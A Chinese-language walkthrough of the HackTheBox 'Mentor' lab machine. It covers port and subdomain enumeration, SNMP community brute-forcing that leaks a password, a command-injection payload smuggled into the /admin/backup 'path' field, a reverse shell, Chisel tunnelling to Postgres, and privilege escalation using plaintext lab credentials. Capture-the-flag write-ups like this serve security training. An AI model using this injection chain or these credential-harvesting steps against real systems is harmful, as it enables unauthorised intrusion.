【hackthebox】Mentor writeup

一、信息收集

TARGET=10.129.149.118 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
┌──(root㉿kali)-[/home/kali/Desktop/HTB/Mentor]
└─# cat nmap_tcp_all.nmap 
# Nmap 7.93 scan initiated Mon Dec 26 21:52:08 2022 as: nmap -p22,80 -sC -sV -Pn -vvv -oN nmap_tcp_all.nmap 10.129.149.118
Nmap scan report for 10.129.149.118 (10.129.149.118)
Host is up, received user-set (0.18s latency).
Scanned at 2022-12-26 21:52:08 EST for 13s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c73bfc3cf9ceee8b4818d5d1af8ec2bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO6yWCATcj2UeU/SgSa+wK2fP5ixsrHb6pgufdO378n+BLNiDB6ljwm3U3PPdbdQqGZo1K7Tfsz+ejZj1nV80RY=
|   256 4440084c0ecbd4f18e7eeda85c68a4f7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJjv9f3Jbxj42smHEXcChFPMNh1bqlAFHLi4Nr7w9fdv
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 26 21:52:21 2022 -- 1 IP address (1 host up) scanned in 12.88 seconds

开放了22 和 80 端口,发现域名 mentorquotes.htb

echo "10.129.149.118 mentorquotes.htb" >> /etc/hosts

源码里面也没接口,静态网站

目录扫描

dirsearch -u http://mentorquotes.htb/ -x 403

啥都没扫出来

子域名扫描

wfuzz -H "Host: FUZZ.mentorquotes.htb" --hc 302,400 -t 50 -H "User-Agent: luzesec" -c -z file,"/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt" http://mentorquotes.htb/

发现子域名 api.mentorquotes.htb

echo "10.129.149.118 api.mentorquotes.htb" >> /etc/hosts

直接访问

尝试爆破目录

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u http://api.mentorquotes.htb/FUZZ -t 50

发现目录有

http://api.mentorquotes.htb/admin
http://api.mentorquotes.htb/docs
http://api.mentorquotes.htb/users
http://api.mentorquotes.htb/quotes
http://api.mentorquotes.htb/server-status

二、web渗透

http://api.mentorquotes.htb/admin

http://api.mentorquotes.htb/docs

http://api.mentorquotes.htb/users

http://api.mentorquotes.htb/quotes

http://api.mentorquotes.htb/server-status

突破口应该是根据 http://api.mentorquotes.htb/docs 提供的接口进行测试

网站的拥有者是 james,邮箱地址为 james@mentorquotes.htb

大概分析后,发现功能都需要jwt,所以就直接注册一个

{
  "email": "luze@mentorquotes.htb",
  "username": "luze",
  "password": "123456"
}
{
  "email": "luze@mentorquotes.htb",
  "username": "luzesec",
  "password": "12345678"
}

尝试注册james

{
  "email": "luze@mentorquotes.htb",
  "username": "james",
  "password": "12345678"
}

我去。成功了。。

{
  "email": "james@mentorquotes.htb",
  "username": "luzesec",
  "password": "12345678"
}

获取用户信息的时候,需要验证,那么登陆获取下

尝试登陆,获取jwt

POST /auth/login HTTP/1.1
Host: api.mentorquotes.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://api.mentorquotes.htb/docs
Content-Type: application/json
Origin: http://api.mentorquotes.htb
Content-Length: 94
Connection: close

{
  "email": "james@mentorquotes.htb",
  "username": "luzesec",
  "password": "12345678"
}


eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imx1emVzZWMiLCJlbWFpbCI6ImphbWVzQG1lbnRvcnF1b3Rlcy5odGIifQ.Zrdegu6RLapVUAAHLjNs-D5DBDS5uOnq_pSMoEXdI6o

getuser的时候带上令牌试试

不对。。换个用户的

注册

登陆

getuser

看来是校验了用户和邮箱。。。

重新信息收集下udp的端口信息

nmap -sU -p- 10.129.149.118 --min-rate 10000

https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp

对 SNMP 服务使用枚举,看看我们是否可以发现管理员凭据。

https://github.com/SECFORCE/SNMP-Brute/blob/master/snmpbrute.py

python3 snmpbrute.py -t 10.129.149.118

使用“SNMP-Brute”工具,我们在服务上发现了两个名为“Internal”和“Public”的 SNMP 社区。这些社区可能具有可用于访问服务的不同访问控制设置。

snmpwalk -c [社区名称] -v [版本] [IP]

snmpwalk -c internal -v2c 10.129.149.118 > snmp.txt

cat snmp.txt -n | grep "login"

发现 疑似密码 kj23sadkj123as0-d213

登陆成功

getUser

说明jwt没问题,OK试试之前发现的其他功能

发现/check 和 /backup

check功能还未实现

backup get请求失败

backup post请求成功,但是缺少参数

空参数测试

添加参数发现

尝试命令拼接去测试是否可以执行命令,使用ping命令 让目标机器去ping我们

tcpdump -i tun0 icmp
POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://api.mentorquotes.htb/docs
Connection: close
Content-Type: application/json
Content-Length: 60

{"body":"",
	"path":";ping -c 10 10.10.14.11;"
}

可以执行命令,直接反弹shell过来

成功获得shell

这应该是个docker

发现数据库配置文件

要访问数据库,我们需要使用 Chisel 创建到kali的隧道。

kali
./chisel server --port 9002 --reverse
docker
./chisel client -v 10.10.14.11:9002 R:5432:172.22.0.1:5432

尝试连接

psql -h 127.0.0.1 -p 5432 -d mentorquotes_db -U postgres

查看数据库信息(用户相关)

发现svc 的password 53f22d0dfa10dce7e29cd31f4f953fd8

svc 123meunomeeivani

三、权限提升

使用linpeas.sh

SNMP 配置文件“snmp.conf”用于在系统上设置简单网络管理协议 (SNMP)。它可能包含敏感信息,例如称为社区字符串的密码,用于验证 SNMP 请求。

cat /etc/snmp/snmpd.conf

james : SuperSecurePassword123__

切到james之后,直接sudo提权就行